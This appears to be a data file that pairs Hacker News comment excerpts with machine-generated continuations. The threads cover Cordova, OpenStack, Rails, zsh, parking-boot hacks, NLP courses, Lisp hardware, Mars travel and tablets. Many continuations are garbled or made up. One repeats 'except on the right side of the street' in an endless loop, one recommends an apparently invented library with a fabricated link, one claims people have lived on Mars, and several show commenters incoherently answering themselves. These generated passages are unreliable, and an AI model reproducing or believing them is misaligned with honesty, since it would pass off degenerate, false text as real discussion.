render\n> views, not the DOM. So it has nothing to do with Phonegap except for the use\n> of javascript.\n\nI believe the original poster was referring to the fact that Cordova's whole\npurpose is to be a testing ground for new browser APIs - and that the goal of\nthe project is to basically become irrelevant at a later point because browser\nvendors hopefully will have implemented similar APIs.\n\nSort of like a testing ground for web standards.\n\nBut yes, in a technical sense React Native is closer akin to Titanium than\nCordova/PhoneGap in its current state.\n\n------\nandrewstuart2\n> There are a lot of JS tools, but none of them do what we want. We\u2019re trying\n> to coordinate them. We want to provide a good default experience out of the\n> box, so we\u2019re building a CLI to: scaffold, skeleton files, set up build, set\n> up testing environment, possibly even deployment\n\nWas there something wrong with the yeoman & grunt/gulp combo? The yeoman tool\nis great for the scaffolding and skeleton story, and even for setting up your\nbuild, test, deployment environments using whatever combination of grunt &\ngulp you want to build into your generator.\n\nI'm starting to"} +{"output_text": "ange\n> The only question is who creates it first.\n\nThat's not a question. The question is who has the right to control the\ncreation of X, and how.\n\n~~~\nAnimalMuppet\nWell, the question is who has the right to control the creation of nuclear\nweapons, and how. But I'm not sure that makes it any more answerable.\n\n~~~\njonathanstrange\nWell, the question is who has the right", "input_text": "?\n\nNote: The constraint is that X _is inevitable_. The only question is who\ncreates it first. And in that context, isn't it at least possible to argue\nfrom multiple axes that you should help to create it? The limit case of this\nargument would be \"It's your duty to the society you live in to ensure it has\nthe competitive advantage, not some other society.\"\n\nA less-hostile way to phrase that would be \"The first company to invent a\ntechnology can then try to _enforce ethics_ onto that technology.\"\n\nThat is, if you invent something, it's easier to dictate how it's used than if\nyou didn't.\n\nHence, paradoxically as it may seem, the logical conclusion would _seem_ to be\nthat you should work as hard as you can to invent whatever unethical\ntechnology you're worried about -- in the hopes that you can minimize the\ndamage later.\n\nIf it seems like a technology can't really be controlled (e.g. nuclear\nweapons), I counter with this: Bitcoin was the implementation of a set of\nideas. The exact implementation could have been very different. It could have\nbeen inflationary rather than deflationary, for example. The precise choices\nwere very important, because Bitcoin has huge first-mover advantages. And that\nis often true of the first X to be invented.\n\nSo, what's the answer? Do we work as hard as we can to invent unethical\ntechnologies in order to mitigate their effects, or do we try to suppress or\ndiscourage the invention of new technology knowing that some less-\"ethical\"\nsociety will get there first?\n\nOr is that a false dichotomy? I'm fascinated by the possible answers.\n\n~~~\njonathanstr"} +{"output_text": " the recent Oracle acquisition.\n\n------\njrochkind1\nI think this is a really interesting article, but I think it's missing the\npoint of open source projects.\n\nThe point of open source projects is to give people who work on the project\nthe opportunity to make it better. The point of the O'Reilly open source book\nproject is to give people who work on the book the opportunity to make it\nbetter.\n\nThe point of the O", "input_text": " enormously fiddly compared to VMWare, which was where they were\ntaking aim. I expected them to say \"now running on Openstack, 100%!\"\n\nAlso the design seemed to mirror AWS, as if the only answer to their dominance\nwas to... copy every facility they were producing exactly?\n\nWe had a more definite vision of where VMs should go, and thought it was a bad\nplan to aim at \"Amazon, but smaller!\". In particular we really really wanted\nlive migrations to be a part of our platform - where we really really cared\nabout uptime of individual VMs, and wanted people to be able to upgrade them\non the fly. Plus, y'know, for a hosting company, being in control of, and\nhaving opinions of our hosting platform was what people paid us for!\n\nSo we designed our in-house platform BigV instead (now Bytemark Cloud Servers)\n-> [https://blog.bytemark.co.uk/wp-\ncontent/uploads/2012/12/Desig...](https://blog.bytemark.co.uk/wp-\ncontent/uploads/2012/12/DesignAndImplementationOfBigV.pdf) [pdf] And even\nthough we (re)invented an NBD server to make all the live migration stuff work\n[https://github.com/BytemarkHosting/flexnbd-c](https://github.com/BytemarkHosting/flexnbd-c)\nI believe we've ended up with something that does a small number of things far\nbetter.\n\nI see people asking whether Openstack is actually running anywhere very\npublic, and have read some pained war stories. So it still feels like the\nright decision, even before"} +{"output_text": " to know about Ruby blocks or the Rails\nsyntax for ActiveRecord callbacks). Just get something working and see how it\nworks.\n\nThen, once you have a few apps out there, start looking at other people's\nwork. Look at their code, look at their deployment process, look at their\npricing models, look at their marketing. Learn from them.\n\nFinally, once you are ready, go for it. Don't let fear of not being successful\nor", "input_text": " and MooTools. Do you think a beginner can grasp it? And, what do you think the learning curve will be?

Thanks!\n======\nteej\nI was in your position 4 years ago. I had spent some time learning HTML/CSS +\nPHP and had thrown up a few websites here and there. I wanted to get into real\nweb dev, and I decided Rails would pave that road.\n\nI'm not one for books, but Ruby on Rails: Up and Running\n() was an incredible resource for\nnew devs. I have since introduced two other people to Rails though that book\nand they loved it. One issue: it's old. If they haven't updated it for Rails\n2+, don't go near it. You might want to try the Rails Guide instead\n()\n\nFrom there, I picked up Ruby for Rails (). I\nread about 20% of this book. It was critical for me understanding the \"magic\"\nbehind Rails and the weird syntax behind Ruby. I came from a somewhat CS\nbackground, so YMMV.\n\nAfter that, I left the books behind. I just found problems and tried solving\nthem with Ruby & Ruby on Rails. I did a few crappy webapps, some of the\nFacebook engineering puzzles, some of the Project Euler questions.\n\n\\----- One word: PRACTICE. -----\n\nAt first, stay away from doing it perfect, just get something working and\niterate. You don't need a full suite of tests, scale to 1M users, and super-\nclever meta-code (you dont need"} +{"output_text": ".\n\n~~~\nenriquto\nI meant that it is not clear from the code where the newline is inserted.\n\n------\njwilber\nI\u2019m a big fan of ZSH and use it daily but I\u2019m not a fan of the newline\nindicator.\n\nI\u2019d rather it just displayed a newline and didn\u2019t change the state of the\nterminal.\n\n~~~\njwilber\nI mean, I\u2019", "input_text": "ulator, so each shell\ncommand (that needs it) gets it's own pty. I think this will enable a much\nnicer UI and also simplify things.\n\n~~~\nopk\nThis is what tmux is for.\n\n~~~\nEricson2314\nNo this is _not_ what tmux is fore. IMO tmux and screens are giant hacks:\n\n\\- multiplexing: better to use ssh multiplexing, which is just nice in general\n\n\\- persistence: Yes, you want to open a pty on a the host, but you should\nactually emulate the terminal on the guest: one should just forward all the\npty messages between the guest and host (graphical emlator). In other words, a\nlot more like regular ssh\n\n\\- sharing: graphical emulators should just understand that multiple can be\nhooked up, have some support for this, we can relay the input from one\nemulator to the others as needed.\n\nFor my terminal-inside-shell, I would use a customer server + protocol for\nmanaging all the ptys (remember because backgrounded commands there can be\nmultiple).\n\n------\nstared\nI am waiting for GPT-2-based models for ZSH. Something in the line of TabNine,\nbut for the terminal.\n\n------\nenriquto\nI do not like this feature. How can you distinguish the output of a program\nthat outputs a newline from one that doesn't? This is intentional obfuscation.\nIf you are bothered from where your prompt starts, add a newline at the\nbeginning of your prompt.\n\n~~~\nRogach\nThere is a \"missing linefeed indicator\" symbol (usually %) that is output if\nthere is no trailing newline"} +{"output_text": "\n\n~~~\ntrimbo\nYeah, I'm not a fan of the new channels either. I just meant that you can't\nwatch it without getting an extra app for prime.\n\n------\njasonlotito\n[http://www.amazon.com/dp/B00K9K4W2C](http://www.amazon.com/dp/B00K9K4W2C)\n\nI wonder if this is legit.\n\n~~~", "input_text": " (1949) links to \"The Bicycle\" (2015).\nGreat list though. It would be interesting to see the thing done for the AFI\nand BFI top 100. (Although I suspect that most movies on the AFI are probably\nalready on Ebert's list.)\n\n------\nintellijdd\nI was just seeing someone else's tutorial on scraping Amazon prices. They also\nran into an issue where they needed to scrape twice instead of once. Not sure\nthat it's the same issue you're facing but I thought I might drop my two\ncents.\n\n~~~\ncatwind7\nI actually did notice that issue, even with using a stateful client like\nmechanize. Sometimes I had to scrape > 5 times in order to get through the\n\"anti robot\" page.\n\nOther times, I get no issue at all. It's weird - maybe they're doing some\npattern matching on request metadata on their end?\n\n------\ntrimbo\n\"The Man Who Shot Liberty Valance\"\n\nIMO, John Ford's best movie, hands down.\n\nUnfortunately, it is not actually available on Prime without \"CBS All Access\"\n[Edit: ah, I see that this is not just \"Included with prime\", but all movies]\n\n~~~\ndmix\nPrime just recently introduced channels, which dramatically increased the\namount of content available, but each is $3.99. I personally love this because\nI\u2019d rather have the option to subscribe to Smithsonian content or MGMs back\ncatalog using the same streaming service I already use, rather than paying to\nuse 10 different or getting stuck using the small list of (mostly old, TV\nmovie, or B movie) content on just prime or Netflix.\n\nSo this is a feature, not a bug."} +{"output_text": "-party app market with the iPhone app market. The\niPhone app market is a different market, one where Apple controls the\nplatform, the distribution, the customer experience, and the customer\nexpectations.\n\nIf Apple were to begin charging $0.05 per click, you would have to cough up the\ndough or switch to a vastly inferior product. Therefore, your ability to \"vote\nwith your money\" is academic in this case.\n\n~~~\nasciil", "input_text": " run blazingly faster on a new machine!\n\n------\ntrezor\nFrom the report:\n\n _No backgrounding, no multitasking, no unobtrusive notifications. No copy and\npaste (yet), no MMS, no video. Really pretty minor stuff thus far._\n\nAh well. So we have push notification, better hardware access and the maps API\nopened up for apps. Not totally shit but not revolutionary either.\n\n~~~\njws\nYou really should watch the live coverage by someone other than engadget. I\nget the impression their person is only there because someone threatened to\nfire him if he didn't go.\n\nIf you are looking for information the Grumpy Mystery Science Theater version\nof the live cast is the wrong place to be.\n\n~~~\nashr\nI recommend watching the video on apple.com\n\n------\nasciilifeform\nMicropayments: death by a thousand cuts. Mark my words.\n\n~~~\nicey\nWell, that's kind of the nice thing about capitalism. If you don't like it,\nvote (or rather don't vote) with your wallet.\n\n~~~\nasciilifeform\nThis would be true in a market driven by competition between near-equals.\n\nThe iPhone does not live in such a market. It has no competition. It is a\nqualitatively different product from other mobile phones. The cell phone\nmarket is divided into two categories: the iPhone, and inferior crud. If Apple\nwere to begin charging $0.05 per \"click\", you would have to cough up the dough\nor switch to a vastly inferior product. Therefore, your ability to \"vote\" with\nyour money is academic in this case.\n\n~~~\nGHFigs\nYou're conflating the third"} +{"output_text": " re-train your brain.\n\nOne thing that's helped me is to write down what I'm doing every day, what I\ndo well, what I don't do well, and what I'd like to do better. It's helped me\nrealize that I'm not a \"master of everything\" and that I have some gaps in my\nknowledge. It's also helped me identify what I need to learn to do the things\nI do well.\n\nI've also", "input_text": " not say\n\"This project will finish in 3 weeks\", but break it into chunks - \"In two\ndays, I'll have a prototype of the admin module, where you can test. Friday I\nexpect to have all the functionality working, implementing your feedback along\nthe way. Wednesday next week we'll have a meeting to discuss changes to module\nY\", etc.\n\nThere's no silver bullet, and I certainly do not envy this part of being a\nfreelance developer, but it is possible. And remember, everyone struggles with\nthis:\n[https://www.youtube.com/watch?v=co_DNpTMKXk](https://www.youtube.com/watch?v=co_DNpTMKXk)\n\n------\nmrweasel\nFirst up, I'm not qualified to solve your problem, but if you think you have\nADHD, get it checked by a professional. I managed to convince myself that I\nhad diabetes.... I apparently do not.\n\nBut honestly, maybe you just need to do something different. Find a small shop\nthat needs a developer, pick something that your grossly overqualified for.\n\n------\nrconti\nYes, mid 30s, I struggle as well. I'm much better at small discrete tasks than\nI am at larger projects, where I often work for a few minutes, then back up\nand think about the scope of the whole project, get discouraged, get\ndistracted, etc. I've been very successful in life but the past 6 months I've\nbeen working hard to tweak a lot of the things I don't like about myself.\n\nCurrently seeing a CBT specialist which is helping. What I like about CBT is\nthat it gives you discrete tools to address issues rather than spending 6\nmonths trying to"} +{"output_text": "interpretation, I think the real\nquestion is \"why would someone do this?\".\n\nI suspect the answer is \"malicious intent\" \\- but I have no idea what that\nmeans.\n\n~~~\nmichaelpinto\nI'd be curious to know what the \"friend's email account\" is... is that his\nprimary or his Gmail address?\n\n~~~\nnl\nIt's his work email address.\n\nI have a similar one, but I", "input_text": " specific group has lots of access. I care\nthat not that many groups do in total. This story makes me concerned that\nactually many groups have lots of access. Despite the \"elite navy seal\" vibe\npresented in the Gawker story about SREs, I'm now thinking that many, many\nteams have this kind of access. (Previous to this story, I was led to believe\nthat SREs were quite low level (not in importance. but in nature of\nresponsibilities. Very performance oriented, having little reason to have\naccess to an individual user's data.).\n\nPlease feel free to jump in and correct this, Google peeps. It would make me\nfeel better.\n\n* What this does for SaaS and web apps in general\n\nI love Google Docs and sincerely believe that most web apps that allow across-\nthe-net collaboration are good for us. And are preferable to The Old Way. I\nwant people to TRUST their stuff to Google (and Github and Amazon, etc).\n\nI hate security FUDers who love to derail conversations of great possibility\nwith some far out scenario, \"Can my enemy see my Google Docs?!?!\"\n\nI'm way less worried about a few creeps who work at Google (they work\neverywhere...) and more concerned about laissez-faire access processes.\n\n~~~\nnl\n_\"...pulled up the person's email account...[and] a list of other Gmail\naddresses that the friend had registered but didn't think were linked to their\nmain account\u2014within seconds\"_\n\nThis surprised me too. In the absence of any further comment from Google, I'd\nbe very interested to see some journalists doing some investigation here.\n\nAssuming that this is real and not mis-"} +{"output_text": " on the right side of the street except on the right side of the street\nexcept on the right side of the street except on the right side of the street\nexcept on the right side of the street except on the right side of the street\nexcept on the right side of the street except on the right side of the street\nexcept on the right side of the street except on the right side of the street\nexcept on the right side of the street except on the right side of the street", "input_text": ".wordpress.com/auto-news/news/students-defeat-new-barnacle-parking-boot-skip-fines-and-get-free-internet\n======\nemptybits\nI spent a decade in the parking technology space. (Co-founder PayByPhone --\ndon't hate me, I genuinely tried to make things more civilized and convenient,\nI swear!). Anyways, I miss hearing about hilarious and genius hacks and\nescalations like this. The brilliance deployed to work around parking\nregulations is amazing.\n\nNot condoning, but here's a (naive?) though experiment if the Barnacle shows\nup in use again... Park your car and cover it. Many car covers have cable\nlocks to prevent removal and openings to expose plates for legal/bylaw\nreasons, so this should be permissible. This may provide protection from sun,\nfrost, birdshit, and now Barnacles(tm)! My assumption is that parking\nenforcers don't have permission to modify, remove, or damage property on a\nparked car like this.\n\nOf course, there's always a tow-truck. Or you could pay for the parking you\nuse, but I respect the hacker spirit!\n\n~~~\nquaquaqua1\nThe problem is not paying for the parking I use. That is an easy problem to\nsolve, as long as the price is \"reasonable\".\n\nThe problem I have with parking authorities is fraud. When the meter employee\ngives me a ticket for a different meter, or when the parking ticket fine is\n$200 instead of say $30, or when the restrictions are absurd/vague (\"You can\npark here for 2 hours m-f except holidays except 9-11 except in green spots\nexcept"} +{"output_text": " through the maths of neural networks and implementing them yourself\nwill take a lot of time.\n\nI'd recommend starting with a more natural language processing toolkit such as\nSpacy ([https://spacy.io/](https://spacy.io/)) or Pypinyanet.\n([https://pypinyanet.readthedocs.io/en/latest/](https://pypinyanet.readthedocs.io/en/latest", "input_text": "/2015/05/21/rnn-\neffectiveness/](http://karpathy.github.io/2015/05/21/rnn-effectiveness/) \\--\n[http://colah.github.io/posts/2014-07-NLP-RNNs-\nRepresentation...](http://colah.github.io/posts/2014-07-NLP-RNNs-\nRepresentations/)\n\n(Andrej Karpathy and Chris Olah are some of my favorite writers)\n\n[0] [http://www.deeplearningbook.org/](http://www.deeplearningbook.org/) [1]\n[https://web.stanford.edu/~jurafsky/slp3/](https://web.stanford.edu/~jurafsky/slp3/)\n[2] [http://nlp.stanford.edu/IR-book/](http://nlp.stanford.edu/IR-book/)\n\n------\ndeepGem\nStart with Machine Learning by Andrew Ng, on Coursera Once you get a hang of\nneural networks, which is chapter 4 in the course I think jump to Stanford's\nCS224n. It's helpful to complete Andrew's course as well.\n\n[http://web.stanford.edu/class/cs224n/](http://web.stanford.edu/class/cs224n/)\n\ncs224n is not easy. Of course, you can learn NLP without deep learning, but\ntoday it makes sense to pursue this path. During the course of CS224n you'll\nget some project ideas as they discuss a ton of papers and the latest stuff.\n\n~~~\nrmchugh\nI think deep learning is a pretty hefty starting point for learning NLP.\nCutting"} +{"output_text": " the language is safer and easier to use.\n\n~~~\neranation\nI'm not sure I understand your point.\n\nIf you have a dedicated ALU for every type of operation, you can still use\nJava/C#/whatever for the times when you don't, and you still have the safety\nand ease of a statically typed language.\n\nThe only thing you get is a performance boost, which is not that impressive on\ncurrent machines.\n\n", "input_text": ".com/item?id=2192629>\n\n~~~\nneutronicus\nThe other half of his point was specially tuned hardware - the author seems to\nbelieve that the type-checking, gc, etc. don't cripple performance the way\nthey do on x86.\n\nI don't know if he's _right_, but that seems to be his point.\n\n~~~\nohyes\nThe idea is that you would have bits in the hardware dedicated to type\nchecking and garbage collection. The example being, that in the assembly\nlanguage/machine code, you may have a single arithmetic '+' operation.\n\nDetermining which hardware path to use to add two numbers would be done in the\nhardware itself. Check the type bits of the numbers and feed it into my ALU.\nCompare this to an x86 lisp, or compiled C, where 'type' of a 'number' is\ndetermined by the assembly code instruction that is used on it.\n\nThis isn't just a performance improvement, it is also an improvement in the\nsafety of the dynamic language.\n\nThere are a lot of different things that you could do for garbage collection.\nYou could have in-hardware reference counting, or 'dirty' and 'clean' (or\ncolor) bits, for a mark and sweep collector, or 'generational' bits for an\nephemeral garbage collector.\n\nThe idea is that any time you take something out of software, and put it into\nspecialized hardware, you should get a performance improvement.\n\nThis doesn't mean that the lisp on a chip would be faster than C on a\ncomparable x86 chip, it means that the things that make lisp (and other\nfunctional languages) safer and easier to use would be supported in hardware--\ntherefore"} +{"output_text": "! I'm a big fan of your\nwork.\n\n~~~\negypturnash\nThanks! It's a lot of fun to work on.\n\n \nAsk HN: How do you find a good company culture? - tonywastes\nI'm a relatively new engineer at a fairly new company and I'm struggling to find a good company culture. I'm not sure what I'm looking", "input_text": " as screens\n\n------\nDiaznash\nThat title can make a good pitch for AR/VR.\n\n \nAsk HN: You've got one month, what's your challenge? - mezod\nAs simple as that, you have a month, what challenge do you tackle?

Typical examples:\n- write a book\n- code a game\n- train to run a marathon by the end of the month\n======\nadimitrov\nAfter 10 years of depression, carry over my good streak from last month and\nfinally finish my studies so I can have a better job.\n\nWhish me luck.\n\n~~~\nmovedx\nAll the best mate. Keep up the great work and good luck!\n\n------\ntjw\nCome home from work and do one productive thing, every day. I'm tired of\nfeeling lazy but not feeling motivated to do anything but play video games and\ngenerally be a slob.\n\n~~~\nmezod\nI think being more precise on what that one productive thing should be would\nhelp!\n\n------\ndyim\n* Get 100 active customer support agents on Panel Ninja [www.panelninja.com]\n\n* Send cold emails to 1,000 potential customers\n\n* Cut 15 seconds off my mile time\n\n* Run 4 experiments to iterate on the cold email process\n\n* Watch the Eagles beat the Giants, Falcons, Seahawks, and Packers :)\n\n------\negypturnash\nGet back to working on the comics pretty much every weekday. I've been bogged\ndown in printing stuff and writing pitches and I just wanna get back to\n_drawing some fucking comics_.\n\n~~~\nsmnscu\nWow \u2013 your art (and website, by the way) looks amazing"} +{"output_text": " and because it\nhas great type systems (it's basically the same type system as C#).\n\n3\\. The workflow is basically:\n\n \n \n - Add a class to the project\n - Add a xcdatamodel file to the project\n - Add a Remodel file to the project\n - Add a Remodel file to the target\n - Add a target to the project\n \n\n4\\. The first version of the code is", "input_text": " more general way). What would\nbe the Xcode workflow for using this, starting from an empty project with no\nxcmodel file, and proceeding until it's done?\n\n~~~\nandrewcuneo\nI had almost given up on getting any traffic here. So, I'm excited that I got\nsome good questions. Let me try to answer them.\n\n1\\. It is kind of a bummer that we don't support Swift. As silly as it is,\nprobably the main reason for this is that at FB we only really code in ObjC\n(at least for the near term), so we wouldn't have any local use cases (which\nboth drive our development and help us validate that the concept is useful).\n\nIt is also true that the need for this type of system is a lot greater in\nObjC. Like you said, Swift is awesome in terms of its support for immutable\nobjects and it even supports something a lot like ADTS out of the box (they\ncall them \"Associated Values\" in their enums).\n\nBecause Remodel makes these nice concepts available in Objective-C, it's a\nuseful tool for people who like Swift but are, for whatever reason, working in\na Objective-C codebase.\n\nAlso, at some point we may make a Swift output option and it would have value\nin terms of the plugins that can make simple operations like encoding /\ndecoding or other basic helpers.\n\n2\\. A.ts file is a TypeScript file, which is a language that Microsft\ndeveloped which compiles to JavaScript. TypeScript looks a lot like JavaSript,\nbut it has types.\n\nWe chose TypeScript for the implementation of Remodel because we liked the\nfact that it's based on JavaScript which is extremely popular,"} +{"output_text": " problems.\n\n> You're never going to be able to fly to Mars, spend a few years, and fly\n> back and resume your life on Earth without long-lasting health effects.\n\nI'm not sure why you're assuming that. I'm sure a lot of people have gone to\nthe moon, and lived quite well afterwards. I'm also sure that a lot of people\nhave lived on Mars, and lived quite well afterwards. I'm also sure that a lot", "input_text": "'ll be able to fix problems and\nensure reliability and safety too. It'll be risky at first of course, and for\na long while after that. But I doubt it would be much riskier than we're\ncurrently living our lives here on Earth.\n\n~~~\ndangrossman\n> But I doubt it would be much riskier than we're currently living our lives\n> here on Earth.\n\nYou're probably underestimating the risks associated with humans leaving Earth\nfor any considerable period of time.\n\nRadiation is the first issue. NASA will not plan a mission that exposes\nastronauts to higher than a 3% risk of exposure-induced death. Their reports\nfrom 2010 based on all the studies done up to that point put the number of\n\"safe days\" at ~0.5-1 years. That assumes a healthy mid-30s non-smoker during\na solar minimum. So just getting to Mars would exceed the safe limits, even if\nwe had a very well radiation-shielded base waiting on the planet.\n\nMultiple years in space and Mars gravity will also have severe impacts on bone\ndensity and muscles. You're never going to be able to fly to Mars, spend a few\nyears, and fly back and resume your life on Earth without long-lasting health\neffects.\n\n~~~\ncryptoz\n> So just getting to Mars would exceed the safe limits\n\nThis is the problem with your argument that I'm underestimating risks. You're\nassuming that nobody finds a way to solve this problem or to mitigate the\neffects of the radiation, and that nobody would be willing to find a way to go\neven with the health concerns. I know this will be extremely difficult and\nquite costly, but I think hard work and constant innovation will solve a lot\nof the specific"} +{"output_text": "'t have a monopoly anymore. They are losing\nmarket share and they know it. So they are trying to do everything they can to\nmake sure they don't lose their monopoly.\n\n~~~\njosteink\n> Microsoft realizes that they don't have a monopoly anymore.\n\nNonsense. They have a monopoly on Windows, and that's all they are going to\nhave for the foreseeable future.\n\nThey are also losing market share on other platforms, but that's because", "input_text": " it.\n\n \nVisual Studio Online Supports Cross-Platform Development - dstaheli\nhttp://blogs.msdn.com/b/visualstudioalm/archive/2015/06/05/visual-studio-online-supports-true-cross_2d00_platform-development-_2200_team-explorer-everywhere_2200_-tee-jenkins-git-xcode-mac-tfs-vso-_2200_visual-studio-online_2200_.aspx\n======\nbaldfat\n> Microsoft provided me both a PC laptop and a MacBook for my job and hired me\n> to coordinate the effort to enable and better support non-traditional\n> Microsoft developers (i.e. developers that use something other than C# and\n>.NET technologies) to easily design, build, test and deploy their software\n> and systems solutions, especially to the cloud.\n\nThis is a major change in terms of what I would hear from a Microsoft Blog\nPost on Software Development Tools and especially Visual Studio.\n\n~~~\nNicoJuicy\nNot only that... But i am a C# developer and now i can use tools like bower\nand gulp ( already knew them fyi). I seriously love this..\n\nI am afraid though that a lot of current.Net developers won't like this (\ncolleagues and because vNext is more command line based )\n\n------\njosteink\nThe fact that I'm now complaining about how FreeBSD is poorly supported\ncompared to other Unixes like Linux and OSX really is quite amazing.\n\n5 years ago I wouldn't even be surprised if MS websites intentionally didn't\nwork in browsers not IE. Now this.\n\n~~~\nx5n1\nMicrosoft realizes that they don"} +{"output_text": " I guess.\n\n~~~\nwheels\nI'd be curious to know the breakdown by category. I've seen a lot of games and\nwhatnot in the store.\n\n~~~\nGHFigs\n_I'd be curious to know the breakdown by category._\n\nWhy? It's a meaningless number.\n\n~~~\nwheels\nBecause it's a meaningless number to have data that can be used to drive\ndecision making with the Apple platform. I'd rather have a", "input_text": " seen an OTAHD antenna? That's why.\n\n~~~\nnailer\nN95 has TV in some countries. The phones look like ordinary N95s. So do lots\nof Telstra phones in Australia (which have Foxtel content) and KDDI phones in\nJapan. They just look like ordinary phones.\n\n~~~\nAndys\nThe Telstra phones stream the Foxtel content digitally over NextG if I'm not\nmistaken?\n\n~~~\nnailer\nYup, and good point: there's no need for a giant antennae, anything capable of\n3G can do it fine.\n\n------\ncomatose_kid\nSDK access to bluetooth? Awesome, I have a client who is dying for this...\n\n------\nmarkessien\nLovely. This was a good platform choice for me to specialize in. I'm going to\nstart consulting almost exclusively for the iPhone, I think it's a platform\nthat will be here for a good number of years.\n\n------\npxlpshr\nApple really nailed it with version 3.0, and this is going to be great for us.\nI suspect you'll start seeing app acquisitions as companies look to acquire an\n'install' base to leverage.\n\nTime to get crankin' on more apps before gold rush 3.0!\n\n~~~\npxlpshr\nActually, hmm.. I wonder how the subscription will work for apps that were\nformerly free. I assume users will be able to 'opt-in' for subscription\npayment, otherwise the application is deleted.\n\n~~~\nGHFigs\nIn-application payments are not available for free applications.\n\n------\nHexstream\n96% of apps are approved? I thought the percentage was much lower. Vocal\nminority,"} +{"output_text": "n\nI have a few old floppies and zip disks around. I'll try to upload them when\nI'm bored.\n\n------\njancsika\n> The diskettes are in a box in the back of my closet.\n\nI have a similar collection of floppies and zip disks from my childhood. I\nthink I'll try to dig them out and see if they're still readable.\n\n~~~\nzellyn\nI have a few zip", "input_text": ".\n\nWhen hardware progress occurs, files are transferred to new hardware and you\ncould expect that 30 years from now, your files will still be there.\n\n~~~\nmakapuf\nWell the ide interface has been there for quite a long time.\n\n~~~\nBrandoElFollito\nYes, but disk drives (readers) are harder and harder to get.\n\nI have 5.25\" floppy disks with some awesome software I wrote at the university\nwhich is now probably lost (even if I had a drive the content is probably\ngone). Same for 3.5\"s, zips,...\n\n~~~\nzellyn\nUnless you left them near something magnetic at some point, allowed them to\nmildew, or left them in a _very_ hot car, they're quite possibly still\nreadable. They are remarkably stable over time. See all of 4am's work for\nexamples :-)\n\n------\nvidanay\nInterestingly, I still have the monitor from my IIc. I no longer have the\ncomputer, but the monitor is sitting in my garage. Sadly though I think it has\nwater damage.\n\n~~~\ndrudru11\nDo you still want the monitor?\n\n~~~\nvidanay\nI have no need for it, but I would be VERY surprised if it is functional\n\n~~~\ndrudru11\nAre you in the SF Bay Area?\n\n~~~\nvidanay\nNo, Chicago\n\n~~~\ndrudru11\nAh - make sure it goes to a good home\n\n------\n6d6b73\nJust yesterday I acquired 3 5440 ibm disk cartridges.. I have no clue how/if\nI'm ever going to be able to read them, but some day I will try:)\n\n~~~\nzelly"} +{"output_text": "greml1n\nI did. I sent an email to PG a few days back. I'll see what I can do about\ngetting them on the front page of Hacker News.\n\n------\nnayefc\nI'm not sure if this is the case but I think the YC model is to provide seed\ncapital to companies that are already established. I don't think a startup\nneeds seed capital to start up a business.\n\n~~~\nnayef", "input_text": " Internet connection\nso that you can work whenever you wake up\" [treating as kids or just coders,\n2008] to saying something like \"we will give 5L and open an account for the\ncompany\" [treated as entrepreneurs, 2009]. Still, a long way to go.\n\nThe 2008 archives with some photos\n. I do agree that they\nhave a bad choice of photos on the blog, it does effect PR.\n\nMoreover they will need someone like PG to make it like YC, that ain't\nhappenin' that easy. :-)\n\nStill, I wish them luck! We do need \"worthy\" YC clones in many countries.\n\n------\najju\nFreeman Murray seems like a cool guy. iAccelerator doesn't seem to be\nbureaucratic like the other incubator type things I have seen in India. The\nbest part is iAccelerator is also in my hometown of Ahmedabad. Go\niAccelerator, I am rooting for you.\n\n~~~\nfreemanindia\nThanks for the plug. iAccelerator is moving to Bangalore for this year's\nwinter season.\n\n~~~\nsubbu\nIts a bit late now. The last date was Sep 12 :(\n\n------\ngreml1n\nIs the guy on the right wiping his nose on his shirt or sniffing his arm pit?\nNot to be picky but that immediately shot out at me when the page came up.\n\nIn any event, the world needs more of these.\n\n~~~\nbaguasquirrel\nYou should probably do them a favor and fire off an email if you think it's\nbad PR.\n\n~~~\n"} +{"output_text": " a LISP-like language for C?\n\nI'm not talking about a lispy syntax, or anything like that. I'm talking about\na language which lets you write code in a LISP-like style, but which compiles\ndown to C.\n\n~~~\nrwmj\nYou mean like Smalltalk?\n\n~~~\npnathan\nI don't know much about Smalltalk, but I know that it doesn't compile down to\nC.\n\n", "input_text": " here:\n\n\n\nFrom what I understand, the main win is that they use nested page tables to\nlet the JVMs handle page faults directly, which is how they implement high-\nperformance read barriers.\n\nI don't know a lot about garbage collection, but read barriers seem to be the\nessential piece for implementing real-time (which really should be called\n\"non-blocking\") GC.\n\nThere's a good discussion on LtU about this: \n\n[edit] I should mention how this relates to Lisp operating systems: if you\nreplace the virtual memory system with a garbage collector (ie push the GC\ninto the kernel), you can get the same effect but without needing nested page\ntables/VT-x/RVI, even for user-space processes.\n\nIt should also be more efficient and waste less memory on fragmentation than\ngoing through a dumb VM.\n\n------\ndefroost\nWhile not a Lisp OS, StumWM is an\ninteresting project. I run it on Debian, and I like to pretend I using a Lisp\nMachine.\n\n------\nnwmcsween\nUnix as in POSIX days are either numbered or is going to be perpetually hacked\ninto something it can't do without issue. Distributed computing is becoming\nmore of a norm with consumers having many devices. A look into what future\noperating systems might look like are Midori or Inferno (which was way ahead\nof it's time) or any other vm based operating system.\n\n------\npnathan\nDoes anyone know if there's any sort of"} +{"output_text": " from Amazon. I think the Kindle\nFire is a great tablet, but I don't think it will take on the iPad.\n\n~~~\njoezydeco\n_I don 't think it will take on the iPad._\n\nWhy not? It's priced right, has a nice form factor, and it runs Android 2.2.\nIt's a good product.\n\n~~~\nalexwolfe\nI think the iPad has a much better app ecosystem.", "input_text": " the iPad 2 to the Fire's price.\n\n------\nsjs\nIt's not a threat unless people stop buying iPads. How you do you get from\n\"interest in the Fire\" to \"lack of interest in the iPad\"?\n\nThey don't compete on price. They're not really even the same class of device.\nThis is just another pointless and content-free \"ZOMG KILLER IS ON THE\nWAY!!1\" article.\n\n~~~\nkemper\nI don't agree at all.\n\n\"The more interesting stat, perhaps, is that more than a quarter of\nrespondents in ChangeWave\u2019s survey who confirmed an imminent Kindle Fire\npurchase said they would buy the Amazon tablet in place of an iPad.\"\n\nThe correlation between the intentions of respondents in this survey and the\ngeneral tablet-buying public is not clear, as is the case with any survey, but\nin this context the Kindle Fire is clearly a threat to the iPad. 26% - that's\na huge threat.\n\n~~~\nsjs\nWere they really going to buy iPads though? Maybe they wanted an iPad but were\nnot going to buy one.\n\n------\nwmeredith\nI wouldn't trade my iPad for a Fire ATM, but I would love to see some real\ncompetition in the consumer tablets arena. Amazon vs. Apple means that I win.\n\n------\nalttag\nWould it be okay if we waited for them to appear in the wild before we start\ncomparisons about whether it's a \"threat\"?\n\n(Also, never mind the surveys show differences of 1%, which is likely around\none-third of its margin of error.)\n\n------\nalexwolfe\nApple is going to face some stiff competition"} +{"output_text": "ances_%28Star_Trek:_The_Next_Generation%29)\n\n------\njokoon\nI wonder if it would be possible to use a 